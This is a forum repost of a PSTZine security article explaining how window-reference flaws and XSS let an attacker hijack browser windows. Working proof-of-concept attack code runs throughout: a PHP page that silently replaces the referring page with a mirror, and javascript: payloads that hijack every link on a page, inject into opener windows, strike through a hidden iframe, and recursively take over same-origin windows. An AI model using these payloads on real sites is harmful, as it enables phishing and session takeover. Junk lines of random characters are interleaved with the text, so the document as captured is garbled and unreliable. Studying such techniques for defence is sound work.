中国网络渗透测试联盟
标题:
[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]
[打印本页]
作者:
admin
时间:
2012-9-13 17:10
标题:
[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]
==Ph4nt0m Security Team==
* B0 M4 t7 T X- p$ G1 \0 D" R. \8 S' e
% F0 u" F! \ m. B4 L+ s% E j
Issue 0x03, Phile #0x05 of 0x07
. E3 t- Y! ~ I- z+ Z
$ j. R2 H# v6 [, X" v' q) |
8 i1 F' \4 l- @! f: m7 _' v
|=---------------------------------------------------------------------------=|
! X6 A+ ^! ?( l) h U! S- t
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
* e# ]- Z+ X; k' m [; Z* Q5 H
|=---------------------------------------------------------------------------=|
1 {2 X- g9 w) f( L- W
|=---------------------------------------------------------------------------=|
( i! Y* x& H) y+ c
|=------------------------=[ By rayh4c ]=---------------------------=|
* q \) G( t0 p B& }2 G7 G. Y" z. e# m
|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|
- q8 |9 r$ p& J8 W! K4 a
|=---------------------------------------------------------------------------=|
* z* O4 T: o* }' q& }, }
) L8 x( S/ s; }/ i+ I: g( S8 Z) P
X9 [9 N% E1 X0 q( x& b1 ]
[目录]
. z& n3 ]# G' J6 I' n" m( \$ D
' V1 `8 ^+ l! i6 i- y
1. 前言
4 s* B% s- I0 l
2. 同源策略简叙
; \' g) t( N+ t" A. ~% Z( ^( Y
3. 理解window对象的同源策略
; C7 t$ K0 ?' b+ U$ J, J( k# w4 F4 a
4. 窗口引用功能中的同源策略漏洞
& V% E* s# w5 \4 _
4.1 父窗口引用子窗口的同源策略问题
% e) g! I/ K/ P' [% ?4 e
4.2 子窗口引用父窗口的同源策略问题
' ^! O% g" D: X8 A
5. 利用窗口引用漏洞劫持浏览器
3 d% D8 L- [9 ]% O0 X
6. 利用XSS漏洞劫持浏览器
9 | d5 S U1 } s0 j
6.1 正向跨窗口劫持
+ z# J. A3 _, j3 |
6.2 反向跨窗口劫持
8 x0 X, L) f$ P: @) y6 N& _* C" C
6.3 极度危险的跨框架窗口引用劫持
" J+ e: C( t& N+ \
6.4 极度危险的正反向跨窗口递归劫持
X6 X8 \0 l# d1 p
6.5 完全控制浏览器
( W# {) i+ j& ]& \$ S$ y4 \
7. 后记
/ o+ q' [4 o" ?
8. 参考
& L& G- Y2 g! l T/ x
/ U- m* a9 A6 h7 E( a# m" a
) R9 {' `6 Q( D
一、前言
8 J) a! A" ?% ?4 _
- |8 Z7 K ~" L1 Y7 Z( N @' K
最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
; i; y$ @4 }( S$ o
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
: e4 @+ C {, b- L+ U
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
; i9 ?; \' H3 A+ r, q$ F
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
; m, X8 P* D/ Q& G3 n* ~" s& q- j
5 h( X P0 l- {9 c8 q1 R% }
+ `6 h% K$ G- L* D+ I
二、同源策略简叙
|- k' G& N: a8 [) Z4 x
5 C" y% M. u* B7 v# F+ E
同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
" U# C/ M: N: p, C( b4 c
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
( q1 G- M- w7 |$ N* g' D# t6 U% m
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
2 W2 l5 z/ E* [8 H' [4 T; M
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
; ?% F. m4 v3 N9 N$ M# O
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
' ^9 p; G0 c# {+ x4 q' \8 y
# y ]7 C( D) ^/ [) x. z* y
; Q" S V- M' x( M$ Z* M6 R
三、理解window对象的同源策略
) v" c4 E6 v% l
( K& b6 x1 R0 Y- {0 E
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
5 c* g) n3 I' m# Z1 x; M
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
; f% ^# ]9 M6 {8 U8 `4 z
3 A" u0 ?- N% K- n8 W2 v! S* d# }
--code-------------------------------------------------------------------------
( U8 ~# ], p( ]+ s+ d) W8 o! I
<script language="javascript">
3 Q7 ?# E/ y& z) _) }
for(p in window) document.write(p+"<br>");
8 l! C5 ^) p$ E
</script>
; t& M4 [$ j1 M" a
-------------------------------------------------------------------------------
* K: c h7 v. J
, h; R* n2 O# F$ k% [2 j
这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
- W. M$ Z M7 s' {, g# G0 W
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
+ K* { [1 }, E. n0 U: x9 C
这些属性和方法就必须遵循同源策略。
0 u1 x! M6 Q8 R
- @- O1 k+ w& r+ f
举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
! _; a6 T X }5 z
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
* K% S0 Q0 K6 S ]; e: S
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
* t# C# u* p1 M0 \' E/ N
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
, \' _; a! a1 u0 M, p3 t
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
$ P7 b4 n+ M7 ~
属性并没有被拒绝访问。
$ E! A( y( _( s4 S7 V% j' o& U
! D. t' c) N+ u% p/ [4 o1 r- |
--demo.html--------------------------------------------------------------------
9 ^; J3 P; A0 l
<script language="javascript">
+ S, _0 W6 `' @ F* H. ?; m! v
function allPrpos(obj) {
; c0 q* s2 q/ \
var props = "<table><tr><td>名称</td><td>值</td>";
, q1 L# \* u; L) Y# U6 z: U
for(var p in obj){
( Z4 U- q0 R4 x
if(typeof(obj[p])=="function"){
* s! C7 D/ _- i% F/ b/ ]: f' ?
obj[p]();
! M; Z) Q1 E5 o6 N
}else{
. Y* ]+ q$ {+ ]! {9 A" D+ E4 Z5 V
try
& n- j+ [; _: n. g0 s! K
{
- j' K, G' L5 ^. p3 X
props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
' g$ H5 p1 k: J* Q8 ~
}
) w' u( p" _8 ~, m8 N- _8 A
catch (ex)
6 x' B/ G- F7 r8 Y3 G1 f: }- Z
{
& H0 e, b- F) G
. d4 M, v5 V/ w& |6 g
props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
4 P6 ~; H0 J8 F2 q2 m% N0 T& F
}
) ?9 m" C2 h; g- L* D8 J2 z/ T5 ?
+ p) z M$ n$ P
}
# J4 E1 r& p! @/ a+ t' R! r* X# q
}
# V, b. z9 q y# {
- B/ J/ _+ Z% j% j+ Y0 o
document.write(props+"</table>");
: ~4 z% ]+ r5 N M
}
, I! t8 N) A% I' d% U
1 g6 c; y" s/ L" R; H
function createWin() {
* a9 |8 V, ]) e6 F8 k$ N/ p& |7 k
newWin = window.open ("http://www.google.com");
1 P; C( e8 F" I
setTimeout(function(){allPrpos(newWin)},2000);
% U* o* D$ f5 t _: V
}
/ K, x% [! p$ |, O% O
: k* U& ~$ D/ S$ L- ]3 |/ J" B
</script>
! p5 e* ]. g+ y. Q+ ~. I
: D1 y, l8 k, t+ ]" m! B* L/ X
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
! t8 `" x) H$ {
-------------------------------------------------------------------------------
# K. ~ d5 m, b6 h9 ?: P- m4 u
/ M1 n! s+ ] g
8 c1 I$ Q/ E2 d, q; k
四、窗口引用功能中的同源策略漏洞
' I+ [- m2 _/ \
) G5 j8 V: Z" M" n& i
4.1 父窗口引用子窗口的同源策略问题
* O8 x" D! z, y9 s. V e
: I' ~+ B" {# T8 ]0 B& _
去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
. B: u1 ^ z+ J' b
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
^0 ?$ c/ w6 N( w
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
Q- _" P' X; X& T7 M/ Y
行测试,会发现父窗口可以控制非同源子窗口location属性值。
! T& V4 E$ u& r9 z$ l! }) {+ p z
0 G4 l2 V" O: `' B# o
--vul1.html--------------------------------------------------------------------
0 r4 c8 t6 g, m ?7 W6 u
<script language="javascript">
; y; y3 ^( t) ?% F* D: V8 E
function createWin() {
! F, V s6 K% C+ t
newWin = window.open ("http://www.google.com");
/ @$ M4 T9 @) a3 X3 T1 g z* P9 z
setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
8 I6 X4 q1 h& k, Z
}
" d3 S5 z4 s/ t( q B+ l
</script>
7 |$ V% [9 e3 \' ?
# t* C& \1 h9 w/ X. u
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
1 }. \3 R- X- U7 ?
-------------------------------------------------------------------------------
9 [7 D3 ?- @! E( k
3 @4 z1 I' Q& D! e1 M& S, c
. i' f e. q" e5 `( H
4.2 子窗口引用父窗口的同源策略问题
3 y4 W5 E" R8 C
5 w, ^( K6 m! P- V/ f% E
逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
& ?, q" {6 s/ U* r0 z
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
, \+ d; L3 J) O$ }4 I$ a
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
# w( Q# W# l; t
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
! O0 s5 m+ F0 X4 |4 s
6 p$ \* f' u$ Q% k8 i. ]
--code-------------------------------------------------------------------------
2 |* [3 n% g4 p% e
( T$ ^+ g( u, N4 G( u F9 e) _
javascript:window.opener.location = "http://www.80sec.com";void(0);
+ V! \* H0 y4 M* N+ c6 ]% k
w/ ^2 Z+ p: `; _: Z- ?* T
-------------------------------------------------------------------------------
/ W; d1 b z( F
7 K/ c; v' V9 z8 ?' i
% Z! f$ ~6 W$ O0 i
五、利用窗口引用漏洞劫持浏览器
$ ?7 Z5 w0 X, G# h
" f/ n! n7 \7 ~ V. j3 E- T" h
经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
0 b8 }$ ~' A a7 S$ R/ }) L
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
4 H+ w$ j+ z7 v p
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
5 J1 ^1 n+ }1 Y/ h* a0 H* ~7 s4 j) |
E( h& c/ }$ }$ c5 M- \
我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
v3 E, v2 ^$ g8 u; w; {
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
6 o2 R0 ]- G& y6 i* x
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
' f& s6 V) F; g
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
. w* p2 x" R) I$ P' \0 B8 w' u
会产生什么可怕的后果。
! W3 v0 ?0 q$ r; @2 V# s1 t# t3 I
* u$ ~. o ~# V& \3 F
下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
1 `( s6 D1 m, m- N+ `/ z# h
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将
http://127.0.0.1/hjk_ref.php
6 x& s5 o5 A2 F* ~
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
- l0 P6 b& @, O9 x, E0 m# R J
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
: U9 R+ e: G% b
以做更多的事情,所有的一切仅仅是因为点击了一个链接。
4 G, M$ b' f5 l5 W6 `
" U0 R& M! b- _8 k+ X. E p
--hjk_ref.php------------------------------------------------------------------
& [) W! E1 t1 m1 T1 `+ O
<?php
/ O( B5 R; |6 B! [* Z$ V9 I
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
. d: K& H' C* w% {
$Url_Mirror = $_SERVER["HTTP_REFERER"];
8 Y# z. I5 t! I9 Q8 Q; G+ w& R
}
D% g# T' t3 r
if(isset ($_GET['ref'])) {
! l0 ?- y: D% A# F( g8 \; I
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
* ^9 N3 F. a# M* W
}
3 N$ T2 B; h& U
?>
0 t; }# f: z" \! V/ P0 p2 \9 G) ~
1 j0 n( N, d5 C/ L8 a, H4 o
<script language="javascript">
* A# I/ ~5 l0 k8 ~5 q9 i7 Q
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
1 Z: t( n: Q; D
</script>
* I0 ?5 z5 ~) ?( e& N, ?
-------------------------------------------------------------------------------
# w; j% j, R: H0 e
# c% @: _$ s- |, D6 U
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
1 H8 r8 B% t6 z- K& i; t5 {
' M+ a8 d5 V! o' N
! R+ f7 c4 m- b4 k
六、利用XSS漏洞劫持浏览器
6 G: [1 z# ]# ?- i: C# M5 Y$ f& J
. D1 W$ |! b3 P/ N
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
! L, j, }* e6 ]& k, {
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
/ h; Y% L$ Z& @7 _) [- C2 h' D
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
: k# P* M% u! k( J Q- t! z$ \$ L
讨论跨站师的终极技巧:
) W, ?! t) _$ T# L" c+ }
# Q" o7 T7 t8 `7 R5 m3 ^! O" R |3 b
& @* E- R6 f* N, D B$ t9 C. l' u
6.1 正向跨窗口劫持
6 S* s2 ?$ T& z) ~
_+ Q" s e; l9 {4 ]# ~
大家可以先试验下hijack_open.js这个脚本,比如打开
http://bbs.dvbbs.net/
动网论坛
6 F; L- S% B6 {2 T% u5 Y# X* p
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
& j8 Z& \7 P" g$ U7 J" Q6 P
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
2 L* S( j. A. @, H
框脚本。
/ X6 k4 o) T: t1 v. @; z1 I% ^! X3 U
a5 d0 ^3 m* n( S [8 X5 c( B
--hijack_open.js---------------------------------------------------------------
) o& J, `$ _! }1 [; T0 _+ p
1 a4 n: C( Y. @
javascript:for(i=0;i<document.links.length;i++){document.links
.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
! I0 l& g# X# ~. r. ~
! r" p2 k5 T9 ?6 R$ Q f" R4 Z% B
-------------------------------------------------------------------------------
: H( f7 _! d$ W+ h3 q2 t* U
( P! a! ^- i/ q- a# y- T) Z1 S+ ~: J& g
. V( _1 r4 L ?! z+ [3 O" q& {
6.2 反向跨窗口劫持
3 c; x2 c. a$ }0 R1 ?1 d5 [
- P9 |2 I3 o M1 F
同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
$ n$ s9 Q* K" _& s
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
# T$ d: M+ n5 u/ @) I2 b
框脚本。
6 X8 B1 O) O5 Y& U' x
R2 _0 U) X, O; K
--hijack_opener.js-------------------------------------------------------------
5 F& e9 v- }; b
* w& u3 ?/ _# U, m7 `! L% |# I
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
+ D, H0 J3 e! d4 N9 O, L5 I
w% d- s/ r, [9 b6 o4 o) ]9 A
-------------------------------------------------------------------------------
0 C) l3 ?4 a5 t7 V1 \/ S' A, o$ g8 z
1 r* a3 ]. U% y3 [9 u* A
* w' u( k h$ ]3 u% i' {* R
6.3 极度危险的跨框架窗口引用劫持
% Z0 Z- \8 e% j
: l1 T$ c, n( ]% s" k1 s
非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
: {5 O# s' |% r0 z, L; A( N: H6 M
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
m$ I( V. Z) c: Q) A( n( j
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
& l0 M+ d, a" I$ {! U6 z8 A
非持久型的XSS,如下:
j: i6 I" L6 L+ h8 j
2 C/ e A! h/ F
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
- u1 v ]8 P l& c! {
8 m5 p. h2 ?# ?, O
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
3 s3 y* C3 O6 Z$ Y
注入脚本。
: F, }) i$ y! [4 h4 _; S
; B+ ]2 a* \, h* g' V4 b
--hijack_frame_opener.js-------------------------------------------------------
$ [' C9 A* Q+ O0 t' t, B3 p% I$ w
<script>
\# v4 U& j) \
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
! r2 \: U) M+ l- d" j q3 k
</script>
8 Z& X6 s+ H* L4 ~# p* }
-------------------------------------------------------------------------------
. D0 Y% s5 L5 M* e. u4 l
8 V( P4 N, i% \, \: `2 o
( F% N: g S2 Y0 @+ x
6.4 极度危险的正反向跨窗口递归劫持
8 ]& z/ n5 T! z2 z
: H& c" ^/ ~+ l$ W8 m" D2 I+ X2 V
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
' [+ U! B9 n3 g. P
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
. b4 a7 Q6 }/ V; J: a3 ^9 @9 T
异常处理规避之间跨域页面的访问异常,代码如下:
# G( X- V* K) D* |' H. f& I7 }$ H
& T" T5 |: y& u, G3 S
--code-------------------------------------------------------------------------
' C: I1 \9 x+ u
8 A8 o( r. l q
javascript
function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
& q! Z7 D0 U8 P: S
( X- e4 H4 @/ @ r S5 y
-------------------------------------------------------------------------------
) z. c8 a8 z. t5 ~
) u( m7 r/ {! B5 ?
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
& O# Z H; p0 s( c% D3 L3 F
以劫持B域之前的A域页面,从而实现“隔空打击”。
$ S5 |6 K) u2 U2 Z) ]" b+ `
5 j7 v/ e- l! F5 p
同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
: S& |$ j- L' k' @ M$ |
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
3 D ~, L" u* n5 Z6 E
, w! n( |* x/ s5 E3 S- V6 k
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
4 \1 F0 {8 r0 N8 f5 t4 a
' a& G1 g% J: I5 M3 J
$ U( ~. W+ n( i! t0 `
6.5 完全控制浏览器
5 U! |& r+ U* r7 I2 f) F
" x5 [# a! H* [& c( S6 |
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
6 g2 ^$ ], }4 d" b; E
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
# Y' g8 I8 U( m6 m- e
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
" ?# g( ]& _) T l8 E, u4 q5 q
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
2 ?9 J- I' Z' c7 U. K
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
. G3 |) e7 u) W- m: C
师的终极目标 - 完全控制浏览器。
! o. ^" o: W6 g8 d8 P$ x/ a4 H9 Q
( m- x7 w. c) |* x' `* ]
# C* g% E" Y& T9 x& c6 n) l
七、后记
" [. U5 {- ?5 G' a5 S" A) X
- ^% m5 J3 x' ~* s$ }5 D
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
$ v7 a+ |, [& q3 d
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
6 b. ^9 A- v H- z4 u' H
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
# d+ q3 h6 E* t$ d4 u) H2 y
0 r1 m8 Z* O% y% W- Z; z2 R
. c5 [ B1 R# t. \- S
八、参考
: F" M, C5 D5 E- p2 B/ j @8 h( g9 \5 u
+ C3 _/ p6 F, n
1.
http://en.wikipedia.org/wiki/Same_origin_policy
& H6 E. S" M1 ]% K# @9 O; `
2.
http://code.google.com/p/browser ... licy_for_DOM_access
/ C2 ?! ]7 i: w0 ?, m6 U) |6 e
3.
http://www.w3.org/TR/Window/
. Q( X# v/ \+ @4 C. w0 {8 H7 N
4.
http://www.80sec.com/release/browser-hijacking.txt
/ l* L- E3 B" [7 \: p2 w
5.
http://www.80sec.com/all-browser-security-alert.html
9 @- ]( W% b% x- I
6.
http://www.80sec.com/ms08-058-attacks-google.html
k" X$ K2 M' D
3 b' \9 \7 y }( F7 A6 J
-EOF-
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2